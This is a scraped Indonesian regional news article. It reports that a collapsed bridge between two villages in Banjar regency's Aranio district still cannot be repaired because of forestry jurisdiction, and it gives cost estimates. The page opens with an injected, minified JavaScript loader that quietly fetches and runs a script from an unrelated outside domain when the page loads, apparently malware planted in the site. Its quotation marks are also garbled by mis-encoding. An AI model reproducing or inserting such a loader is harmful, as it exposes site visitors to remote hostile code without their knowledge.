(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Jembatan ulin penghubung antara Desa Artain dengan Desa Banua Riam Kecamatan Aranio, Kabupaten Banjar sudah lama terputus, kini warga tak bisa lagi melintas.
Putusnya jembatan ulin penghubung dua desa itu terjadi pada 13 Maret 2018 lalu, hingga sekarang masih belum bisa diperbaiki. Masalahnya, jembatan itu bukan menjadi aset Pemkab Banjar, mengingat kawasan dua desa tersebut masuk dalam kawasan konservasi Tahura Sultan Adam.
Begitu dibeberkan Kepala Dinas PUPR Kabupaten Banjar Mokhamad Hilman didampingi Kabit Bina Marga PUPR Banjar Ahmad Solhan, Kamis (28/2), terkait jembatan putusan di wilayah waduk Riam Kanan.
Menurut Hilman, jembatan penghubung antar Desa Artain dengan Desa Banua Riam tersebut mempunyai jarak kurang lebih 150 meter, terpisah oleh perairan. Sementara tadinya diketahui jembatan yang dibangun secara swadaya masyarakat tersebut mengalami kerusakan yang diakibatkan banjir.
“Berdasarkan informasi yang kita terima, faktor robohnya sebagian jembatan itu karena banjir, namun BPBD tidak dapat menyatakan jembatan tersebut rusak karena banjir, mengingat wilayah disana memang berada di kawasan perairan, sehingga tidak keluar rekomendasi bencana,†jelasnya.
Lebih jauh Hilman mengatakan, jembatan tersebut sebenarnya tidak tercatat dalam aset Pemerintah Kabupaten Banjar, mengingat kawasan yang letaknya dalam kawasan waduk Riam Kanan tersebut tidak terhubung dalam suatu sistem jaringan transportasi darat.
“Inilah salah satu alasnnya kita tidak memungkinkan membangun jembatan di kawasan tersebut untuk sistem transportasi darat, terlebih hambatannya karena kawasan tersebut berada pada kawasan hutan konservasi dan menjadi kewenangan Dinas Kehutanan Provinsi Kalsel,†akunya.
Hingga sekarang pihaknya terus mengupayakan agar fasilitas-fasilitas umum yang berada di 8 desa pada kawasan di hutan lindung dan hutan konservasi di Kecamatan Aranio tersebut dapat dibangunkan jembatan.
Namun yang saat ini menjadi polemik, secara tata ruang desa-desa itu sudah dikeluarkan dalam kawasan hutan konservasi. Dinas PUPR Banjar terhambat melakukan perbaikan mengingat yang diperkenankan memperbaiki akses jalan hanya sebatas jalur-jalur jalan inspeksi saja.
“Jadi apabila dikaitkan dengan jembatan itu tadi, maka kami tidak mungkin melakukan kegiatan, selain bukan aset milik pemerintah daerah, di dalam sistem jaringan juga tidak bisa tercantum,†jelasnya.
Di sisi lain menurut Hilman, ada factor pendorong apabila ingin dianggarkan perbaikan hingga pembuatan jembatan baru yang menghubungkan antara dua desa tersebut, seperti tahapan usulan penanganan yang sipatnya bencana dari BPBD, hingga harus melalui pola perencanaan yang harus dipenuhi.
“Karena itu belum termasuk dalam aset kita, maka katagorinya adalah bottom up, artinya usulan yang nantinya bisa ditangani melalui APBD itu harus melalui proses musyawarah pembangunan dari tingkat desa, kecamatan hingga kabupaten,†bebernya.
Ia menyayangkan kejadian terputus jembatan tersebut sudah sejak tahun lalu, hingga sampai saat ini melalui musrenbang kecamatan, desa dan tingkat kabupaten tidak termasuk pembahasan tahun 2018 hingga 2020.
“Hambatannya lumayan banyak, jadi apa bila ingin dianggarkan untuk bisa melayani masyarakat berarti kita siap untuk melaksanakannya, atas seizin Dishut Kalsel,†katanya.
Pun, apabila ingin membangun jembatan penghubung di dua desa tersebut ada dua pilihan, seperti jembatan semi permanen dan jembatan permanen, tentunya ada plus minus antara kedua pilihan tersebut. Seperti halnya anggaran dan kekokohan jembatan yang lebih besar.
“Tentunya, apabila membangun jembatan harus melewati tahap pertimbangan dulu, seperti kebutuhanya untuk apa, sehingga dana yang digelontorkan berarti dan mempunyai manfaat yang maksimal,†ujarnya.
Hilman menginginkan, dengan perhitungan sementara apabila jembatan tersebut diperbaiki seadanya, dengan kata lain dibangun hanya untuk dalam keadaan darurat maka membutuhkan dana sekitar kurang lebih Rp 135 juta.
Sementara apabila ingin dibangun jembatan semi permanen dengan kebutuhan kayu berdiameter 15 cm dengan panjang jembatan kisaran 150 meter, maka membutuhkan dana sekitar Rp 550 juta. Sedangkan apabila dibangunkan jembatan yang permanen dengan kontruksi jembatan gantung maka harus membutuhkan dana kurang lebih sekitar Rp 3,5 miliar. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
This website uses cookies.